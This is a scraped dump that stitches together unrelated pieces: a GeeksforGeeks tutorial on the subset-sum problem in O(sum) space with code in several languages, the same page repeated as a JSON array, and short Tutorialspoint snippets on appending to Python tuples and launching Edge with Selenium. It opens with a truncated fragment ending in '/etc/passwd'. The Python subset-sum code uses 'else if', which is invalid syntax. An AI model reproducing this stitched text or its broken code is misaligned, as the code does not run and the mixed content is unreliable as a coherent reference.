/etc/passwd" }, { "code": null, "e": 25387, "s": 25372, "text": "python-utility" }, { "code": null, "e": 25394, "s": 25387, "text": "Python" }, { "code": null, "e": 25410, "s": 25394, "text": "Write From Home" }, { "code": null, "e": 25508, "s": 25410, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 25526, "s": 25508, "text": "Python Dictionary" }, { "code": null, "e": 25561, "s": 25526, "text": "Read a file line by line in Python" }, { "code": null, "e": 25593, "s": 25561, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 25635, "s": 25593, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 25661, "s": 25635, "text": "Python String | replace()" }, { "code": null, "e": 25697, "s": 25661, "text": "Convert integer to string in Python" }, { "code": null, "e": 25733, "s": 25697, "text": "Convert string to integer in Python" }, { "code": null, "e": 25749, "s": 25733, "text": "Python infinity" }, { "code": null, "e": 25810, "s": 25749, "text": "How to set input type date in dd-mm-yyyy format using HTML ?" } ]
Subset Sum Problem in O(sum) space - GeeksforGeeks
14 Mar, 2022 Given an array of non-negative integers and a value sum, determine if there is a subset of the given set with sum equal to given sum. Examples: Input : arr[] = {4, 1, 10, 12, 5, 2}, sum = 9 Output : TRUE {4, 5} is a subset with sum 9. Input : arr[] = {1, 8, 2, 5}, sum = 4 Output : FALSE There exists no subset with sum 4. We have discussed a Dynamic Programming based solution in below post. Dynamic Programming | Set 25 (Subset Sum Problem)The solution discussed above requires O(n * sum) space and O(n * sum) time. We can optimize space. We create a boolean 2D array subset[2][sum+1]. Using bottom up manner we can fill up this table. The idea behind using 2 in “subset[2][sum+1]” is that for filling a row only the values from previous row is required. So alternate rows are used either making the first one as current and second as previous or the first as previous and second as current. C++ C Java Python C# PHP Javascript // Returns true if there exists a subset// with given sum in arr[]#include <iostream>using namespace std; bool isSubsetSum(int arr[], int n, int sum){ // The value of subset[i%2][j] will be true // if there exists a subset of sum j in // arr[0, 1, ...., i-1] bool subset[2][sum + 1]; for (int i = 0; i <= n; i++) { for (int j = 0; j <= sum; j++) { // A subset with sum 0 is always possible if (j == 0) subset[i % 2][j] = true; // If there exists no element no sum // is possible else if (i == 0) subset[i % 2][j] = false; else if (arr[i - 1] <= j) subset[i % 2][j] = subset[(i + 1) % 2] [j - arr[i - 1]] || subset[(i + 1) % 2][j]; else subset[i % 2][j] = subset[(i + 1) % 2][j]; } } return subset[n % 2][sum];} // Driver codeint main(){ int arr[] = { 6, 2, 5 }; int sum = 7; int n = sizeof(arr) / sizeof(arr[0]); if (isSubsetSum(arr, n, sum) == true) cout <<"There exists a subset with given sum"; else cout <<"No subset exists with given sum"; return 0;} // This code is contributed by shivanisinghss2110 // Returns true if there exists a subset// with given sum in arr[]#include <stdio.h>#include <stdbool.h> bool isSubsetSum(int arr[], int n, int sum){ // The value of subset[i%2][j] will be true // if there exists a subset of sum j in // arr[0, 1, ...., i-1] bool subset[2][sum + 1]; for (int i = 0; i <= n; i++) { for (int j = 0; j <= sum; j++) { // A subset with sum 0 is always possible if (j == 0) subset[i % 2][j] = true; // If there exists no element no sum // is possible else if (i == 0) subset[i % 2][j] = false; else if (arr[i - 1] <= j) subset[i % 2][j] = subset[(i + 1) % 2] [j - arr[i - 1]] || subset[(i + 1) % 2][j]; else subset[i % 2][j] = subset[(i + 1) % 2][j]; } } return subset[n % 2][sum];} // Driver codeint main(){ int arr[] = { 6, 2, 5 }; int sum = 7; int n = sizeof(arr) / sizeof(arr[0]); if (isSubsetSum(arr, n, sum) == true) printf("There exists a subset with given sum"); else printf("No subset exists with given sum"); return 0;} // Java Program to get a subset with a// with a sum provided by the userpublic class Subset_sum { // Returns true if there exists a subset // with given sum in arr[] static boolean isSubsetSum(int arr[], int n, int sum) { // The value of subset[i%2][j] will be true // if there exists a subset of sum j in // arr[0, 1, ...., i-1] boolean subset[][] = new boolean[2][sum + 1]; for (int i = 0; i <= n; i++) { for (int j = 0; j <= sum; j++) { // A subset with sum 0 is always possible if (j == 0) subset[i % 2][j] = true; // If there exists no element no sum // is possible else if (i == 0) subset[i % 2][j] = false; else if (arr[i - 1] <= j) subset[i % 2][j] = subset[(i + 1) % 2] [j - arr[i - 1]] || subset[(i + 1) % 2][j]; else subset[i % 2][j] = subset[(i + 1) % 2][j]; } } return subset[n % 2][sum]; } // Driver code public static void main(String args[]) { int arr[] = { 1, 2, 5 }; int sum = 7; int n = arr.length; if (isSubsetSum(arr, n, sum) == true) System.out.println("There exists a subset with" + "given sum"); else System.out.println("No subset exists with" + "given sum"); }}// This code is contributed by Sumit Ghosh # Returns true if there exists a subset# with given sum in arr[] def isSubsetSum(arr, n, sum): # The value of subset[i%2][j] will be true # if there exists a subset of sum j in # arr[0, 1, ...., i-1] subset = [ [False for j in range(sum + 1)] for i in range(3) ] for i in range(n + 1): for j in range(sum + 1): # A subset with sum 0 is always possible if (j == 0): subset[i % 2][j] = True # If there exists no element no sum # is possible else if (i == 0): subset[i % 2][j] = False else if (arr[i - 1] <= j): subset[i % 2][j] = subset[(i + 1) % 2][j - arr[i - 1]] or subset[(i + 1) % 2][j] else: subset[i % 2][j] = subset[(i + 1) % 2][j] return subset[n % 2][sum] # Driver codearr = [ 6, 2, 5 ]sum = 7n = len(arr)if (isSubsetSum(arr, n, sum) == True): print ("There exists a subset with given sum")else: print ("No subset exists with given sum") # This code is contributed by Sachin Bisht // C# Program to get a subset with a// with a sum provided by the user using System; public class Subset_sum { // Returns true if there exists a subset // with given sum in arr[] static bool isSubsetSum(int []arr, int n, int sum) { // The value of subset[i%2][j] will be true // if there exists a subset of sum j in // arr[0, 1, ...., i-1] bool [,]subset = new bool[2,sum + 1]; for (int i = 0; i <= n; i++) { for (int j = 0; j <= sum; j++) { // A subset with sum 0 is always possible if (j == 0) subset[i % 2,j] = true; // If there exists no element no sum // is possible else if (i == 0) subset[i % 2,j] = false; else if (arr[i - 1] <= j) subset[i % 2,j] = subset[(i + 1) % 2,j - arr[i - 1]] || subset[(i + 1) % 2,j]; else subset[i % 2,j] = subset[(i + 1) % 2,j]; } } return subset[n % 2,sum]; } // Driver code public static void Main() { int []arr = { 1, 2, 5 }; int sum = 7; int n = arr.Length; if (isSubsetSum(arr, n, sum) == true) Console.WriteLine("There exists a subset with" + "given sum"); else Console.WriteLine("No subset exists with" + "given sum"); }}// This code is contributed by Ryuga <?php// Returns true if there exists a subset// with given sum in arr[] function isSubsetSum($arr, $n, $sum){ // The value of subset[i%2][j] will be // true if there exists a subset of // sum j in arr[0, 1, ...., i-1] $subset[2][$sum + 1] = array(); for ($i = 0; $i <= $n; $i++) { for ($j = 0; $j <= $sum; $j++) { // A subset with sum 0 is // always possible if ($j == 0) $subset[$i % 2][$j] = true; // If there exists no element no // sum is possible else if ($i == 0) $subset[$i % 2][$j] = false; else if ($arr[$i - 1] <= $j) $subset[$i % 2][$j] = $subset[($i + 1) % 2] [$j - $arr[$i - 1]] || $subset[($i + 1) % 2][$j]; else $subset[$i % 2][$j] = $subset[($i + 1) % 2][$j]; } } return $subset[$n % 2][$sum];} // Driver code$arr = array( 6, 2, 5 );$sum = 7;$n = sizeof($arr);if (isSubsetSum($arr, $n, $sum) == true) echo ("There exists a subset with given sum");else echo ("No subset exists with given sum"); // This code is contributed by Sach_Code?> <script> // Javascript Program to get a subset with a// with a sum provided by the user // Returns true if there exists a subset // with given sum in arr[] function isSubsetSum(arr, n, sum) { // The value of subset[i%2][j] will be true // if there exists a subset of sum j in // arr[0, 1, ...., i-1] let subset = new Array(2); // Loop to create 2D array using 1D array for (var i = 0; i < subset.length; i++) { subset[i] = new Array(2); } for (let i = 0; i <= n; i++) { for (let j = 0; j <= sum; j++) { // A subset with sum 0 is always possible if (j == 0) subset[i % 2][j] = true; // If there exists no element no sum // is possible else if (i == 0) subset[i % 2][j] = false; else if (arr[i - 1] <= j) subset[i % 2][j] = subset[(i + 1) % 2] [j - arr[i - 1]] || subset[(i + 1) % 2][j]; else subset[i % 2][j] = subset[(i + 1) % 2][j]; } } return subset[n % 2][sum]; } // driver program let arr = [ 1, 2, 5 ]; let sum = 7; let n = arr.length; if (isSubsetSum(arr, n, sum) == true) document.write("There exists a subset with" + "given sum"); else document.write("No subset exists with" + "given sum"); // This code is contributed by code_hunt.</script> There exists a subset with given sum Another Approach: To further reduce space complexity, we create a boolean 1D array subset[sum+1]. Using bottom up manner we can fill up this table. The idea is that we can check if the sum till position “i” is possible then if the current element in the array at position j is x, then sum i+x is also possible. We traverse the sum array from back to front so that we don’t count any element twice. Here’s the code for the given approach: C++ Java Python3 C# Javascript #include <iostream>using namespace std; bool isPossible(int elements[], int sum, int n){ int dp[sum + 1]; // Initializing with 1 as sum 0 is // always possible dp[0] = 1; // Loop to go through every element of // the elements array for(int i = 0; i < n; i++) { // To change the values of all possible sum // values to 1 for(int j = sum; j >= elements[i]; j--) { if (dp[j - elements[i]] == 1) dp[j] = 1; } } // If sum is possible then return 1 if (dp[sum] == 1) return true; return false;} // Driver codeint main(){ int elements[] = { 6, 2, 5 }; int n = sizeof(elements) / sizeof(elements[0]); int sum = 7; if (isPossible(elements, sum, n)) cout << ("YES"); else cout << ("NO"); return 0;} // This code is contributed by Potta Lokesh import java.io.*;import java.util.*;class GFG { static boolean isPossible(int elements[], int sum) { int dp[] = new int[sum + 1]; // initializing with 1 as sum 0 is always possible dp[0] = 1; // loop to go through every element of the elements // array for (int i = 0; i < elements.length; i++) { // to change the values of all possible sum // values to 1 for (int j = sum; j >= elements[i]; j--) { if (dp[j - elements[i]] == 1) dp[j] = 1; } } // if sum is possible then return 1 if (dp[sum] == 1) return true; return false; } public static void main(String[] args) throws Exception { int elements[] = { 6, 2, 5 }; int sum = 7; if (isPossible(elements, sum)) System.out.println("YES"); else System.out.println("NO"); }} def isPossible(elements, target): dp = [False]*(target+1) # initializing with 1 as sum 0 is always possible dp[0] = True # loop to go through every element of the elements array for ele in elements: # to change the value o all possible sum values to True for j in range(target, ele - 1, -1): if dp[j - ele]: dp[j] = True # If target is possible return True else False return dp[target] # Driver codearr = [6, 2, 5]target = 7 if isPossible(arr, target): print("YES")else: print("NO") # The code is contributed by Arpan. using System; class GFG { static Boolean isPossible(int []elements, int sum) { int []dp = new int[sum + 1]; // initializing with 1 as sum 0 is always possible dp[0] = 1; // loop to go through every element of the elements // array for (int i = 0; i < elements.Length; i++) { // to change the values of all possible sum // values to 1 for (int j = sum; j >= elements[i]; j--) { if (dp[j - elements[i]] == 1) dp[j] = 1; } } // if sum is possible then return 1 if (dp[sum] == 1) return true; return false; } // Driver code public static void Main(String[] args) { int []elements = { 6, 2, 5 }; int sum = 7; if (isPossible(elements, sum)) Console.Write("YES"); else Console.Write("NO"); }} // This code is contributed by shivanisinghss2110 <script>function isPossible(elements, sum) { var dp = [sum + 1]; // initializing with 1 as sum 0 is always possible dp[0] = 1; // loop to go through every element of the elements // array for (var i = 0; i < elements.length; i++) { // to change the values of all possible sum // values to 1 for (var j = sum; j >= elements[i]; j--) { if (dp[j - elements[i]] == 1) dp[j] = 1; } } // if sum is possible then return 1 if (dp[sum] == 1) return true; return false; } var elements = [ 6, 2, 5 ]; var sum = 7; if (isPossible(elements, sum)) document.write("YES"); else document.write("NO"); // This code is contributed by shivanisinghss2110</script> YES Time Complexity: O(N*K) where N is the number of elements in the array and K is total sum.Space Complexity: O(K) This article is contributed by Neelesh (Neelesh_Sinha). If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. Sach_Code ankthon cheesy code_hunt avijaiaj335 lokeshpotta20 shivanisinghss2110 arpansheetal surinderdawra388 Adobe Amazon Drishti-Soft subset Dynamic Programming Amazon Adobe Drishti-Soft Dynamic Programming subset Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Bellman–Ford Algorithm | DP-23 Floyd Warshall Algorithm | DP-16 Matrix Chain Multiplication | DP-8 Travelling Salesman Problem | Set 1 (Naive and Dynamic Programming) Longest Palindromic Substring | Set 1 Coin Change | DP-7 Sieve of Eratosthenes Edit Distance | DP-5 Overlapping Subproblems Property in Dynamic Programming | DP-1 Efficient program to print all prime factors of a given number
[ { "code": null, "e": 24934, "s": 24906, "text": "\n14 Mar, 2022" }, { "code": null, "e": 25068, "s": 24934, "text": "Given an array of non-negative integers and a value sum, determine if there is a subset of the given set with sum equal to given sum." }, { "code": null, "e": 25079, "s": 25068, "text": "Examples: " }, { "code": null, "e": 25282, "s": 25079, "text": "Input : arr[] = {4, 1, 10, 12, 5, 2}, \n sum = 9\nOutput : TRUE\n{4, 5} is a subset with sum 9.\n\nInput : arr[] = {1, 8, 2, 5}, \n sum = 4\nOutput : FALSE \nThere exists no subset with sum 4." }, { "code": null, "e": 25854, "s": 25282, "text": "We have discussed a Dynamic Programming based solution in below post. Dynamic Programming | Set 25 (Subset Sum Problem)The solution discussed above requires O(n * sum) space and O(n * sum) time. We can optimize space. We create a boolean 2D array subset[2][sum+1]. Using bottom up manner we can fill up this table. The idea behind using 2 in “subset[2][sum+1]” is that for filling a row only the values from previous row is required. So alternate rows are used either making the first one as current and second as previous or the first as previous and second as current. " }, { "code": null, "e": 25858, "s": 25854, "text": "C++" }, { "code": null, "e": 25860, "s": 25858, "text": "C" }, { "code": null, "e": 25865, "s": 25860, "text": "Java" }, { "code": null, "e": 25872, "s": 25865, "text": "Python" }, { "code": null, "e": 25875, "s": 25872, "text": "C#" }, { "code": null, "e": 25879, "s": 25875, "text": "PHP" }, { "code": null, "e": 25890, "s": 25879, "text": "Javascript" }, { "code": "// Returns true if there exists a subset// with given sum in arr[]#include <iostream>using namespace std; bool isSubsetSum(int arr[], int n, int sum){ // The value of subset[i%2][j] will be true // if there exists a subset of sum j in // arr[0, 1, ...., i-1] bool subset[2][sum + 1]; for (int i = 0; i <= n; i++) { for (int j = 0; j <= sum; j++) { // A subset with sum 0 is always possible if (j == 0) subset[i % 2][j] = true; // If there exists no element no sum // is possible else if (i == 0) subset[i % 2][j] = false; else if (arr[i - 1] <= j) subset[i % 2][j] = subset[(i + 1) % 2] [j - arr[i - 1]] || subset[(i + 1) % 2][j]; else subset[i % 2][j] = subset[(i + 1) % 2][j]; } } return subset[n % 2][sum];} // Driver codeint main(){ int arr[] = { 6, 2, 5 }; int sum = 7; int n = sizeof(arr) / sizeof(arr[0]); if (isSubsetSum(arr, n, sum) == true) cout <<\"There exists a subset with given sum\"; else cout <<\"No subset exists with given sum\"; return 0;} // This code is contributed by shivanisinghss2110", "e": 27119, "s": 25890, "text": null }, { "code": "// Returns true if there exists a subset// with given sum in arr[]#include <stdio.h>#include <stdbool.h> bool isSubsetSum(int arr[], int n, int sum){ // The value of subset[i%2][j] will be true // if there exists a subset of sum j in // arr[0, 1, ...., i-1] bool subset[2][sum + 1]; for (int i = 0; i <= n; i++) { for (int j = 0; j <= sum; j++) { // A subset with sum 0 is always possible if (j == 0) subset[i % 2][j] = true; // If there exists no element no sum // is possible else if (i == 0) subset[i % 2][j] = false; else if (arr[i - 1] <= j) subset[i % 2][j] = subset[(i + 1) % 2] [j - arr[i - 1]] || subset[(i + 1) % 2][j]; else subset[i % 2][j] = subset[(i + 1) % 2][j]; } } return subset[n % 2][sum];} // Driver codeint main(){ int arr[] = { 6, 2, 5 }; int sum = 7; int n = sizeof(arr) / sizeof(arr[0]); if (isSubsetSum(arr, n, sum) == true) printf(\"There exists a subset with given sum\"); else printf(\"No subset exists with given sum\"); return 0;}", "e": 28296, "s": 27119, "text": null }, { "code": "// Java Program to get a subset with a// with a sum provided by the userpublic class Subset_sum { // Returns true if there exists a subset // with given sum in arr[] static boolean isSubsetSum(int arr[], int n, int sum) { // The value of subset[i%2][j] will be true // if there exists a subset of sum j in // arr[0, 1, ...., i-1] boolean subset[][] = new boolean[2][sum + 1]; for (int i = 0; i <= n; i++) { for (int j = 0; j <= sum; j++) { // A subset with sum 0 is always possible if (j == 0) subset[i % 2][j] = true; // If there exists no element no sum // is possible else if (i == 0) subset[i % 2][j] = false; else if (arr[i - 1] <= j) subset[i % 2][j] = subset[(i + 1) % 2] [j - arr[i - 1]] || subset[(i + 1) % 2][j]; else subset[i % 2][j] = subset[(i + 1) % 2][j]; } } return subset[n % 2][sum]; } // Driver code public static void main(String args[]) { int arr[] = { 1, 2, 5 }; int sum = 7; int n = arr.length; if (isSubsetSum(arr, n, sum) == true) System.out.println(\"There exists a subset with\" + \"given sum\"); else System.out.println(\"No subset exists with\" + \"given sum\"); }}// This code is contributed by Sumit Ghosh", "e": 29899, "s": 28296, "text": null }, { "code": "# Returns true if there exists a subset# with given sum in arr[] def isSubsetSum(arr, n, sum): # The value of subset[i%2][j] will be true # if there exists a subset of sum j in # arr[0, 1, ...., i-1] subset = [ [False for j in range(sum + 1)] for i in range(3) ] for i in range(n + 1): for j in range(sum + 1): # A subset with sum 0 is always possible if (j == 0): subset[i % 2][j] = True # If there exists no element no sum # is possible else if (i == 0): subset[i % 2][j] = False else if (arr[i - 1] <= j): subset[i % 2][j] = subset[(i + 1) % 2][j - arr[i - 1]] or subset[(i + 1) % 2][j] else: subset[i % 2][j] = subset[(i + 1) % 2][j] return subset[n % 2][sum] # Driver codearr = [ 6, 2, 5 ]sum = 7n = len(arr)if (isSubsetSum(arr, n, sum) == True): print (\"There exists a subset with given sum\")else: print (\"No subset exists with given sum\") # This code is contributed by Sachin Bisht", "e": 31064, "s": 29899, "text": null }, { "code": "// C# Program to get a subset with a// with a sum provided by the user using System; public class Subset_sum { // Returns true if there exists a subset // with given sum in arr[] static bool isSubsetSum(int []arr, int n, int sum) { // The value of subset[i%2][j] will be true // if there exists a subset of sum j in // arr[0, 1, ...., i-1] bool [,]subset = new bool[2,sum + 1]; for (int i = 0; i <= n; i++) { for (int j = 0; j <= sum; j++) { // A subset with sum 0 is always possible if (j == 0) subset[i % 2,j] = true; // If there exists no element no sum // is possible else if (i == 0) subset[i % 2,j] = false; else if (arr[i - 1] <= j) subset[i % 2,j] = subset[(i + 1) % 2,j - arr[i - 1]] || subset[(i + 1) % 2,j]; else subset[i % 2,j] = subset[(i + 1) % 2,j]; } } return subset[n % 2,sum]; } // Driver code public static void Main() { int []arr = { 1, 2, 5 }; int sum = 7; int n = arr.Length; if (isSubsetSum(arr, n, sum) == true) Console.WriteLine(\"There exists a subset with\" + \"given sum\"); else Console.WriteLine(\"No subset exists with\" + \"given sum\"); }}// This code is contributed by Ryuga", "e": 32610, "s": 31064, "text": null }, { "code": "<?php// Returns true if there exists a subset// with given sum in arr[] function isSubsetSum($arr, $n, $sum){ // The value of subset[i%2][j] will be // true if there exists a subset of // sum j in arr[0, 1, ...., i-1] $subset[2][$sum + 1] = array(); for ($i = 0; $i <= $n; $i++) { for ($j = 0; $j <= $sum; $j++) { // A subset with sum 0 is // always possible if ($j == 0) $subset[$i % 2][$j] = true; // If there exists no element no // sum is possible else if ($i == 0) $subset[$i % 2][$j] = false; else if ($arr[$i - 1] <= $j) $subset[$i % 2][$j] = $subset[($i + 1) % 2] [$j - $arr[$i - 1]] || $subset[($i + 1) % 2][$j]; else $subset[$i % 2][$j] = $subset[($i + 1) % 2][$j]; } } return $subset[$n % 2][$sum];} // Driver code$arr = array( 6, 2, 5 );$sum = 7;$n = sizeof($arr);if (isSubsetSum($arr, $n, $sum) == true) echo (\"There exists a subset with given sum\");else echo (\"No subset exists with given sum\"); // This code is contributed by Sach_Code?>", "e": 33847, "s": 32610, "text": null }, { "code": "<script> // Javascript Program to get a subset with a// with a sum provided by the user // Returns true if there exists a subset // with given sum in arr[] function isSubsetSum(arr, n, sum) { // The value of subset[i%2][j] will be true // if there exists a subset of sum j in // arr[0, 1, ...., i-1] let subset = new Array(2); // Loop to create 2D array using 1D array for (var i = 0; i < subset.length; i++) { subset[i] = new Array(2); } for (let i = 0; i <= n; i++) { for (let j = 0; j <= sum; j++) { // A subset with sum 0 is always possible if (j == 0) subset[i % 2][j] = true; // If there exists no element no sum // is possible else if (i == 0) subset[i % 2][j] = false; else if (arr[i - 1] <= j) subset[i % 2][j] = subset[(i + 1) % 2] [j - arr[i - 1]] || subset[(i + 1) % 2][j]; else subset[i % 2][j] = subset[(i + 1) % 2][j]; } } return subset[n % 2][sum]; } // driver program let arr = [ 1, 2, 5 ]; let sum = 7; let n = arr.length; if (isSubsetSum(arr, n, sum) == true) document.write(\"There exists a subset with\" + \"given sum\"); else document.write(\"No subset exists with\" + \"given sum\"); // This code is contributed by code_hunt.</script>", "e": 35498, "s": 33847, "text": null }, { "code": null, "e": 35535, "s": 35498, "text": "There exists a subset with given sum" }, { "code": null, "e": 35934, "s": 35535, "text": "Another Approach: To further reduce space complexity, we create a boolean 1D array subset[sum+1]. Using bottom up manner we can fill up this table. The idea is that we can check if the sum till position “i” is possible then if the current element in the array at position j is x, then sum i+x is also possible. We traverse the sum array from back to front so that we don’t count any element twice. " }, { "code": null, "e": 35974, "s": 35934, "text": "Here’s the code for the given approach:" }, { "code": null, "e": 35978, "s": 35974, "text": "C++" }, { "code": null, "e": 35983, "s": 35978, "text": "Java" }, { "code": null, "e": 35991, "s": 35983, "text": "Python3" }, { "code": null, "e": 35994, "s": 35991, "text": "C#" }, { "code": null, "e": 36005, "s": 35994, "text": "Javascript" }, { "code": "#include <iostream>using namespace std; bool isPossible(int elements[], int sum, int n){ int dp[sum + 1]; // Initializing with 1 as sum 0 is // always possible dp[0] = 1; // Loop to go through every element of // the elements array for(int i = 0; i < n; i++) { // To change the values of all possible sum // values to 1 for(int j = sum; j >= elements[i]; j--) { if (dp[j - elements[i]] == 1) dp[j] = 1; } } // If sum is possible then return 1 if (dp[sum] == 1) return true; return false;} // Driver codeint main(){ int elements[] = { 6, 2, 5 }; int n = sizeof(elements) / sizeof(elements[0]); int sum = 7; if (isPossible(elements, sum, n)) cout << (\"YES\"); else cout << (\"NO\"); return 0;} // This code is contributed by Potta Lokesh", "e": 36913, "s": 36005, "text": null }, { "code": "import java.io.*;import java.util.*;class GFG { static boolean isPossible(int elements[], int sum) { int dp[] = new int[sum + 1]; // initializing with 1 as sum 0 is always possible dp[0] = 1; // loop to go through every element of the elements // array for (int i = 0; i < elements.length; i++) { // to change the values of all possible sum // values to 1 for (int j = sum; j >= elements[i]; j--) { if (dp[j - elements[i]] == 1) dp[j] = 1; } } // if sum is possible then return 1 if (dp[sum] == 1) return true; return false; } public static void main(String[] args) throws Exception { int elements[] = { 6, 2, 5 }; int sum = 7; if (isPossible(elements, sum)) System.out.println(\"YES\"); else System.out.println(\"NO\"); }}", "e": 37860, "s": 36913, "text": null }, { "code": "def isPossible(elements, target): dp = [False]*(target+1) # initializing with 1 as sum 0 is always possible dp[0] = True # loop to go through every element of the elements array for ele in elements: # to change the value o all possible sum values to True for j in range(target, ele - 1, -1): if dp[j - ele]: dp[j] = True # If target is possible return True else False return dp[target] # Driver codearr = [6, 2, 5]target = 7 if isPossible(arr, target): print(\"YES\")else: print(\"NO\") # The code is contributed by Arpan.", "e": 38457, "s": 37860, "text": null }, { "code": "using System; class GFG { static Boolean isPossible(int []elements, int sum) { int []dp = new int[sum + 1]; // initializing with 1 as sum 0 is always possible dp[0] = 1; // loop to go through every element of the elements // array for (int i = 0; i < elements.Length; i++) { // to change the values of all possible sum // values to 1 for (int j = sum; j >= elements[i]; j--) { if (dp[j - elements[i]] == 1) dp[j] = 1; } } // if sum is possible then return 1 if (dp[sum] == 1) return true; return false; } // Driver code public static void Main(String[] args) { int []elements = { 6, 2, 5 }; int sum = 7; if (isPossible(elements, sum)) Console.Write(\"YES\"); else Console.Write(\"NO\"); }} // This code is contributed by shivanisinghss2110", "e": 39463, "s": 38457, "text": null }, { "code": "<script>function isPossible(elements, sum) { var dp = [sum + 1]; // initializing with 1 as sum 0 is always possible dp[0] = 1; // loop to go through every element of the elements // array for (var i = 0; i < elements.length; i++) { // to change the values of all possible sum // values to 1 for (var j = sum; j >= elements[i]; j--) { if (dp[j - elements[i]] == 1) dp[j] = 1; } } // if sum is possible then return 1 if (dp[sum] == 1) return true; return false; } var elements = [ 6, 2, 5 ]; var sum = 7; if (isPossible(elements, sum)) document.write(\"YES\"); else document.write(\"NO\"); // This code is contributed by shivanisinghss2110</script>", "e": 40377, "s": 39463, "text": null }, { "code": null, "e": 40381, "s": 40377, "text": "YES" }, { "code": null, "e": 40494, "s": 40381, "text": "Time Complexity: O(N*K) where N is the number of elements in the array and K is total sum.Space Complexity: O(K)" }, { "code": null, "e": 40926, "s": 40494, "text": "This article is contributed by Neelesh (Neelesh_Sinha). If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. " }, { "code": null, "e": 40936, "s": 40926, "text": "Sach_Code" }, { "code": null, "e": 40944, "s": 40936, "text": "ankthon" }, { "code": null, "e": 40951, "s": 40944, "text": "cheesy" }, { "code": null, "e": 40961, "s": 40951, "text": "code_hunt" }, { "code": null, "e": 40973, "s": 40961, "text": "avijaiaj335" }, { "code": null, "e": 40987, "s": 40973, "text": "lokeshpotta20" }, { "code": null, "e": 41006, "s": 40987, "text": "shivanisinghss2110" }, { "code": null, "e": 41019, "s": 41006, "text": "arpansheetal" }, { "code": null, "e": 41036, "s": 41019, "text": "surinderdawra388" }, { "code": null, "e": 41042, "s": 41036, "text": "Adobe" }, { "code": null, "e": 41049, "s": 41042, "text": "Amazon" }, { "code": null, "e": 41062, "s": 41049, "text": "Drishti-Soft" }, { "code": null, "e": 41069, "s": 41062, "text": "subset" }, { "code": null, "e": 41089, "s": 41069, "text": "Dynamic Programming" }, { "code": null, "e": 41096, "s": 41089, "text": "Amazon" }, { "code": null, "e": 41102, "s": 41096, "text": "Adobe" }, { "code": null, "e": 41115, "s": 41102, "text": "Drishti-Soft" }, { "code": null, "e": 41135, "s": 41115, "text": "Dynamic Programming" }, { "code": null, "e": 41142, "s": 41135, "text": "subset" }, { "code": null, "e": 41240, "s": 41142, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 41271, "s": 41240, "text": "Bellman–Ford Algorithm | DP-23" }, { "code": null, "e": 41304, "s": 41271, "text": "Floyd Warshall Algorithm | DP-16" }, { "code": null, "e": 41339, "s": 41304, "text": "Matrix Chain Multiplication | DP-8" }, { "code": null, "e": 41407, "s": 41339, "text": "Travelling Salesman Problem | Set 1 (Naive and Dynamic Programming)" }, { "code": null, "e": 41445, "s": 41407, "text": "Longest Palindromic Substring | Set 1" }, { "code": null, "e": 41464, "s": 41445, "text": "Coin Change | DP-7" }, { "code": null, "e": 41486, "s": 41464, "text": "Sieve of Eratosthenes" }, { "code": null, "e": 41507, "s": 41486, "text": "Edit Distance | DP-5" }, { "code": null, "e": 41570, "s": 41507, "text": "Overlapping Subproblems Property in Dynamic Programming | DP-1" } ]
How to append elements in Python tuple?
Python tuple is an immutable object. Hence any operation that tries to modify it (like append) is not allowed. However, following workaround can be used. First, convert tuple to list by built-in function list(). You can always append item to list object. Then use another built-in function tuple() to convert this list object back to tuple. >>> T1=(10,50,20,9,40,25,60,30,1,56) >>> L1=list(T1) >>> L1 [10, 50, 20, 9, 40, 25, 60, 30, 1, 56] >>> L1.append(100) >>> T1=tuple(L1) >>> T1 (10, 50, 20, 9, 40, 25, 60, 30, 1, 56, 100) You can see new element appended to original tuple representation.
[ { "code": null, "e": 1216, "s": 1062, "text": "Python tuple is an immutable object. Hence any operation that tries to modify it (like append) is not allowed. However, following workaround can be used." }, { "code": null, "e": 1403, "s": 1216, "text": "First, convert tuple to list by built-in function list(). You can always append item to list object. Then use another built-in function tuple() to convert this list object back to tuple." }, { "code": null, "e": 1589, "s": 1403, "text": ">>> T1=(10,50,20,9,40,25,60,30,1,56)\n>>> L1=list(T1)\n>>> L1\n[10, 50, 20, 9, 40, 25, 60, 30, 1, 56]\n>>> L1.append(100)\n>>> T1=tuple(L1)\n>>> T1\n(10, 50, 20, 9, 40, 25, 60, 30, 1, 56, 100)" }, { "code": null, "e": 1656, "s": 1589, "text": "You can see new element appended to original tuple representation." } ]
How to launch Edge browser with Selenium Webdriver?
We can launch Edge browser with Selenium webdriver by using the Microsoft webdriver. We should also ensure that we are having the machine with the Windows 10 operating system. Navigate to the below link to download the Microsoft Edge driver executable file − https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/ Once the page is launched, scroll down to the Downloads section, then choose and click the link which is compatible with our local Edge browser version. A zip file gets created, once the download is completed successfully. We have to then unzip the file and save it in a desired location. Then, set the path of the msedgedriver.exe file. This is done by utilizing the System.setProperty method. Finally we have to create an instance of the EdgeDriver class. System.setProperty("webdriver.edge.driver", "C:\\Users\\ghs6kor\\Desktop\\Java\\msedgedriver.exe"); WebDriver d = new EdgeDriver(); import org.openqa.selenium.WebDriver; import org.openqa.selenium.edge.EdgeDriver; public class EdgeBrwser{ public static void main(String[] args) { //set path of msedgedriver.exe path System.setProperty("webdriver.edge.driver", "C:\\Users\\ghs6kor\\Desktop\\Java\\msedgedriver.exe"); //instance of EdgeDriver WebDriver driver = new EdgeDriver(); //URL launch driver.get("https://www.tutorialspoint.com/index.htm"); } }
